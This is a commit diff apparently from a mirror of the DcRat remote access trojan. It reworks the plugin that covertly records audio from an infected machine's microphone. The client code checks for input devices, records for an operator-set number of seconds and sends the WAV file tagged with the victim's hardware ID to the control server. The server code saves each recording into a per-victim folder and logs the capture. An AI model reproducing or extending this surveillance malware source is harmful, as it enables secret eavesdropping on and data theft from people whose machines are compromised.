mirror of https://github.com/qwqdanchun/DcRat.git
add microphone check
This commit is contained in:
parent
29d88b1ac9
commit
0c279b7dce
|
@ -27,15 +27,7 @@ namespace Plugin
|
||||||
{
|
{
|
||||||
case "audio":
|
case "audio":
|
||||||
{
|
{
|
||||||
var AR = new AudioRecorder();
|
AudioRecorder.Audio(Convert.ToInt32(unpack_msgpack.ForcePathObject("Second").AsString));
|
||||||
AR.StartAR();
|
|
||||||
Thread.Sleep(100);
|
|
||||||
DateTime dt1 = DateTime.Now;
|
|
||||||
while ((DateTime.Now - dt1).TotalMilliseconds < Convert.ToInt32(unpack_msgpack.ForcePathObject("Second").AsString) * 1000)
|
|
||||||
{
|
|
||||||
continue;
|
|
||||||
};
|
|
||||||
AR.SaveAR();
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -13,7 +13,44 @@ namespace Plugin
|
||||||
|
|
||||||
[DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
|
[DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
|
||||||
private static extern int Record(string lpstrCommand, string lpstrReturnString, int uReturnLength, int hwndCallback);
|
private static extern int Record(string lpstrCommand, string lpstrReturnString, int uReturnLength, int hwndCallback);
|
||||||
|
[DllImport("winmm.dll")]
|
||||||
|
public static extern int waveInGetNumDevs();
|
||||||
|
|
||||||
|
|
||||||
|
public static void Audio(int second)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (waveInGetNumDevs() == 0)
|
||||||
|
{
|
||||||
|
Packet.Error("Don't have microphone.");
|
||||||
|
MsgPack msgpack = new MsgPack();
|
||||||
|
msgpack.ForcePathObject("Pac_ket").AsString = "Audio";
|
||||||
|
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
|
||||||
|
msgpack.ForcePathObject("Close").AsString = "true";
|
||||||
|
Connection.Send(msgpack.Encode2Bytes());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
var AR = new AudioRecorder();
|
||||||
|
AR.StartAR();
|
||||||
|
Thread.Sleep(100);
|
||||||
|
DateTime dt1 = DateTime.Now;
|
||||||
|
while ((DateTime.Now - dt1).TotalMilliseconds < second * 1000)
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
};
|
||||||
|
AR.SaveAR();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch(Exception ex)
|
||||||
|
{
|
||||||
|
Packet.Error(ex.Message);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
public void StartAR()
|
public void StartAR()
|
||||||
{
|
{
|
||||||
Record("open new Type waveaudio Alias recsound", "", 0, 0);
|
Record("open new Type waveaudio Alias recsound", "", 0, 0);
|
||||||
|
@ -27,6 +64,7 @@ namespace Plugin
|
||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Pac_ket").AsString = "Audio";
|
msgpack.ForcePathObject("Pac_ket").AsString = "Audio";
|
||||||
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
|
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
|
||||||
|
msgpack.ForcePathObject("Close").AsString = "false";
|
||||||
msgpack.ForcePathObject("WavFile").SetAsBytes(File.ReadAllBytes(AudioPath));
|
msgpack.ForcePathObject("WavFile").SetAsBytes(File.ReadAllBytes(AudioPath));
|
||||||
Connection.Send(msgpack.Encode2Bytes());
|
Connection.Send(msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
|
|
|
@ -33,7 +33,7 @@ namespace Server.Forms
|
||||||
//Start or stop audio recording
|
//Start or stop audio recording
|
||||||
private void btnStartStopRecord_Click(object sender, EventArgs e)
|
private void btnStartStopRecord_Click(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (textBox1.Text != null&& textBox1.Text != "")
|
if (textBox1.Text != null)
|
||||||
{
|
{
|
||||||
MsgPack packet = new MsgPack();
|
MsgPack packet = new MsgPack();
|
||||||
packet.ForcePathObject("Pac_ket").AsString = "audio";
|
packet.ForcePathObject("Pac_ket").AsString = "audio";
|
||||||
|
@ -46,15 +46,7 @@ namespace Server.Forms
|
||||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
Thread.Sleep(100);
|
Thread.Sleep(100);
|
||||||
btnStartStopRecord.Text = "Wait...";
|
btnStartStopRecord.Text = "Wait...";
|
||||||
btnStartStopRecord.Enabled = false;
|
btnStartStopRecord.Enabled = false;
|
||||||
DateTime dt1 = DateTime.Now;
|
|
||||||
int timetosleep = Convert.ToInt32(textBox1.Text) * 1000;
|
|
||||||
while ((DateTime.Now - dt1).TotalMilliseconds < timetosleep)
|
|
||||||
{
|
|
||||||
continue;
|
|
||||||
};
|
|
||||||
btnStartStopRecord.Text = "Start Recording";
|
|
||||||
btnStartStopRecord.Enabled = true;
|
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
|
|
|
@ -85,7 +85,7 @@
|
||||||
|
|
||||||
#endregion
|
#endregion
|
||||||
|
|
||||||
private System.Windows.Forms.Button btnStartStopRecord;
|
public System.Windows.Forms.Button btnStartStopRecord;
|
||||||
private System.Windows.Forms.Timer timer1;
|
private System.Windows.Forms.Timer timer1;
|
||||||
private System.Windows.Forms.TextBox textBox1;
|
private System.Windows.Forms.TextBox textBox1;
|
||||||
private System.Windows.Forms.Label label1;
|
private System.Windows.Forms.Label label1;
|
||||||
|
|
|
@ -20,16 +20,30 @@ namespace Server.Handle_Packet
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", unpack_msgpack.ForcePathObject("Hwid").AsString, "SaveAudio");
|
FormAudio audiorecord = (FormAudio)Application.OpenForms["Audio Recorder:" + unpack_msgpack.ForcePathObject("Hwid").GetAsString()];
|
||||||
if (!Directory.Exists(fullPath))
|
if (unpack_msgpack.ForcePathObject("Close").GetAsString() == "true")
|
||||||
Directory.CreateDirectory(fullPath);
|
|
||||||
await Task.Run(() =>
|
|
||||||
{
|
{
|
||||||
byte[] zipFile = unpack_msgpack.ForcePathObject("WavFile").GetAsBytes();
|
audiorecord.btnStartStopRecord.Text = "Start Recording";
|
||||||
File.WriteAllBytes(fullPath + "//" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".wav", zipFile);
|
audiorecord.btnStartStopRecord.Enabled = true;
|
||||||
});
|
client.Disconnected();
|
||||||
new HandleLogs().Addmsg($"Client {client.Ip} recording success,file located @ ClientsFolder/{unpack_msgpack.ForcePathObject("Hwid").AsString}/SaveAudio", Color.Purple);
|
return;
|
||||||
client.Disconnected();
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
audiorecord.btnStartStopRecord.Text = "Start Recording";
|
||||||
|
audiorecord.btnStartStopRecord.Enabled = true;
|
||||||
|
|
||||||
|
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", unpack_msgpack.ForcePathObject("Hwid").AsString, "SaveAudio");
|
||||||
|
if (!Directory.Exists(fullPath))
|
||||||
|
Directory.CreateDirectory(fullPath);
|
||||||
|
await Task.Run(() =>
|
||||||
|
{
|
||||||
|
byte[] zipFile = unpack_msgpack.ForcePathObject("WavFile").GetAsBytes();
|
||||||
|
File.WriteAllBytes(fullPath + "//" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".wav", zipFile);
|
||||||
|
});
|
||||||
|
new HandleLogs().Addmsg($"Client {client.Ip} recording success,file located @ ClientsFolder/{unpack_msgpack.ForcePathObject("Hwid").AsString}/SaveAudio", Color.Purple);
|
||||||
|
client.Disconnected();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
{
|
{
|
||||||
|
|
Loading…
Reference in New Issue